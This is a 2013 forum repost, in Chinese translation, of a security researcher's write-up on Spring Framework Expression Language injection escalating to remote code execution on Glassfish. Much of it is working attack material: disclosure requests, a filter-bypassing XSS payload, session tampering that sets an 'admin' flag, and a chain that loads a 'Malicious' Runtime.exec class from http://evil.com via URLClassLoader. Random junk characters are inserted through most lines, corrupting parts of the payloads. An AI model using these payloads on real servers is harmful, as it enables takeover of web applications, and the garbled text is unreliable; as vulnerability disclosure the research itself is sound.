中国网络渗透测试联盟

标题: spring-远程代码注入 [打印本页]

作者: admin    时间: 2013-2-16 21:47
标题: spring-远程代码注入
Remote Code with
2 z3 O0 Q( f* X& F: [Expression Language Injection7 x8 m* T0 G3 ?% q
Spring Framework脆弱性—DanAmodio6 B4 L+ {, ]! U9 s# g0 L
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
! L. `$ i. j8 p2 N" f0 P# Y# i可能会存在风险。
3 i; S- e* ?$ x$ Q4 [% M在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的* f4 a: s' {' t: U( j  U
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可, C7 e+ G- C8 q8 v, G
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
, a0 J3 `8 ]' B5 i6 U" h1 q1 p以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前' b4 ~! H, D: ^
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。) Z% M0 Z  v' e- |4 c2 D3 g
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
' ~5 Z) ~, _$ d8 @我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版$ e9 t2 `4 s# T6 m
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。: t0 t6 i9 s6 b" W
这些版本不支持禁用double EL resolution.
! V% P, i9 v+ n; }4 g  T; M这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 \$ R/ s7 H! ]% y4 a( j, l$ hEL2.2容器上可能进行远程代码执行。
% Y$ Z$ ?: E( z+ K这是一个原始信息泄露的攻击例子:. S; U5 N; J# l
请求:
/ |7 D) I7 n' I9 g( }4 Kttp://vulnerable.com/foo?message=${applicationScope}
: K) L' a: Z3 i& S* W到达以下内容页面:
# {0 r" a( G- p) Z9 R, b结果将输出一些包含内部服务器信息calsspath 和本地工作目录7 y6 d7 G1 T) A
你也可以做一些其他事情,如这样:7 o0 J' E8 l$ e8 y: s" _
${9999+1}: A! ~! a0 g$ \, a
还可以访问session 对象和beans
  I( ?* ^4 G' F0 B0 x${employee.lastName}* }" P# q' h) n/ v( s" G* q- B
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
- O3 n$ I) T: ~$ C! G$ QEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
4 C! n/ A) h/ a" j4 I0 U$ g西,比如XSS.  F, P7 M4 t! O9 P
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
$ B, r+ R6 ?5 P% t: B- E" }1 @突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
+ _1 a; ?+ y7 r, U7 }6 j呢?”
2 |2 p9 b9 D) G% w' H& B, A因此,我尝试巳缦拢�3 G0 e# e) F8 t/ {$ Z0 D) _) [
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
9 [% I8 B9 [; |" K# Y! }" f; sP
  a+ Y! \% Y  n9 l7 @1 ?, o! C我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返) }8 Z6 `2 a% z- b
回的文本被插入进了spring:message 标签。5 N( z3 W) s. b8 Z+ u  H' l# w
这里是一个最终绕过过滤的实例:
, B, m- m- S% d# z4 y) Khttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
8 b- F( A: x7 T, q; v它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为  _1 ^: \& d- b  w! \; k
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?+ ^3 o6 S9 m8 Q4 m3 x) K% H4 G
经过一番研究,我学习到EL2.2 增加了方法调用。1 q) U& x8 n0 O
我写了一个快速测试应用程序代码并且检测一些功能' l/ Y. q' N  L, D1 q4 ?
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
* i- F' F% S" j5 N${pageContext.request.getSession().setAttribute(“admin”,true)}8 M) A2 W- l" J$ y4 a0 z  |/ ?
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的; I  c' y. |# l' g  @7 I6 B0 G  ^
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
$ ^& p* w6 E* [${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
  v& t: L0 C$ `- w“, 1234)}
& I5 p, e' [2 z+ z8 P${“”.getClass().forName(“java.lang.Runtime”)}/ h1 x7 R" @* _- p* t4 n
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
& X1 R2 [4 Z6 H. Z8 {可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函* S" }! h% f7 z% F" n
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
% K* ^4 t3 q2 C& s2 }( ~一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
% E4 V1 A1 {& o* m5 O' ^方法签名invoke(Object obj, Object„ args)
. d. E8 T, O4 Z5 h$ ]% d( xJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问9 Y7 @: c3 E! a( `* |
题,以让它可以工作起来。
% \# x1 I+ l; x. l( r漏洞利用:8 E) c* ~: p3 o- R
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
, F* i7 S- ^5 m& j# @- u希望你们中的一些JAVA奇才告诉我我是如此的可笑。
6 D) {) q5 N1 u这里有一些我试过的失败的用例,为了试图让它工作的用例:
: o/ D" {# \5 o% G. A 写文件到文件系统
1 X1 u: c9 u+ `* h1 U+ Q 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
0 X0 }; |5 ]3 m4 @' H0 B我认为这些可以很好的工作,但是我不能找到合适的类来载入。, e4 K3 t4 Y6 m5 b' y- }7 m
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( J3 S8 ?0 |% E4 f2 Pjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:! P) B6 j9 I3 s% N2 D
org.springframework.expression.spel.standard.SpelExpressionParser not found6 L$ K" n1 ]- ~. Q( z# |" T
by8 b3 ^7 Q9 J. e% j
org.glassfish.web.javax.servlet.jsp [194].
% X0 Z9 f5 P+ @+ |9 k8 j  f 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
6 m- V+ I3 u3 ~ 利用反射来创建一个新的Runtime(and watch the world burn)
7 {. z+ B- u, P$ [${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
8 c! {2 q! n2 f5 T: \: a(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
/ ]! [0 A7 o, {" ]& i${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
3 }. t; y* e" `* y# y* N 使用java.lang.ProcessBuilder4 y1 \& f& b0 O" D8 C( Y. I* w* \
 用表达式语言来评估表达式语言1 |. t0 {3 ^0 _  b8 |. o% N
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.( i/ m, Z0 C, z& M# d$ E8 B
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
! b% |3 K1 f; u+ H  `- G# ^“,”".getClass(),null)}, _0 y/ t* p6 P3 R
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
6 l7 s0 k. ]. z/ V4 U我在使用一个空数组通过Method.invoke()时失败了很多次
: Z/ G5 P& t, e5 H% o$ h2 {“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo* `. M7 P. G  C/ o/ `) z
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
( Z1 k$ y: Y5 I' G7 g' p% UrrayList”).newInstance().toArray())% v  _# t) X2 v: V2 V4 i( V
java.lang.IllegalArgumentException: wrong number of arguments
4 v9 N, `5 T* Z! r' r最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
+ q' ?1 L) b4 u4 r' ^$ |8 \: C以创建一个恶意class文件并且指向类装载器.% u( @6 u% a3 q' c: c
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
" _, K2 }) \5 Y6 W% z/ j, f$ \public class Malicious {+ P* e8 l8 T$ `$ J/ B, ?- |
public Malicious() {
  e" b! y; q4 I/ h$ w- Y( }2 Gtry {
' _- B" v* t4 v4 yjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac' s: Z+ p( j- c' h
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
. _1 j) h, [1 {: F2 A. Q6 ]} catch (Exception e) {
( n0 ~( C& d7 s$ x  c6 `}/ B2 a* ~4 u' t8 S7 G
}) ]% R, n% P2 R. V. X
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回/ ^2 T7 {3 A# Y& O; ~
话中,因此它可以被使用.
0 W1 |2 C. Z; v# B${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
- I$ z5 N4 g" q2 \( d3 B(“java.util.ArrayList”).newInstance())}: @; x% t" y* H: o
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
" E8 y& G3 q. v' K5 J* X/ k  d一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
2 U8 [# ]6 v) N0 F, q2 t% LgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个' [& l1 T/ G' ~" M$ ^0 q/ `$ H
我们可以调用的create(string)方法,然后转换对一个URL对象。' S0 x4 x& F- g- S
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh; ^" n8 r" @' k
ere/malicious/classfile/is/located/”).toURL())}2 ?* T* U: E( m; ]+ C& U& f* b
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
5 B6 e; S1 {5 G, r2 c' B$ m恶意类文件被装载并创建,触发远程代码.8 J/ y' B9 p/ V6 W- X2 r' X
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
; r# s; b2 P5 m4 u4 v# Yxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
7 O. }8 e6 }# }, x: EgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance- u: n1 u; g0 C$ A2 Z
()}




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2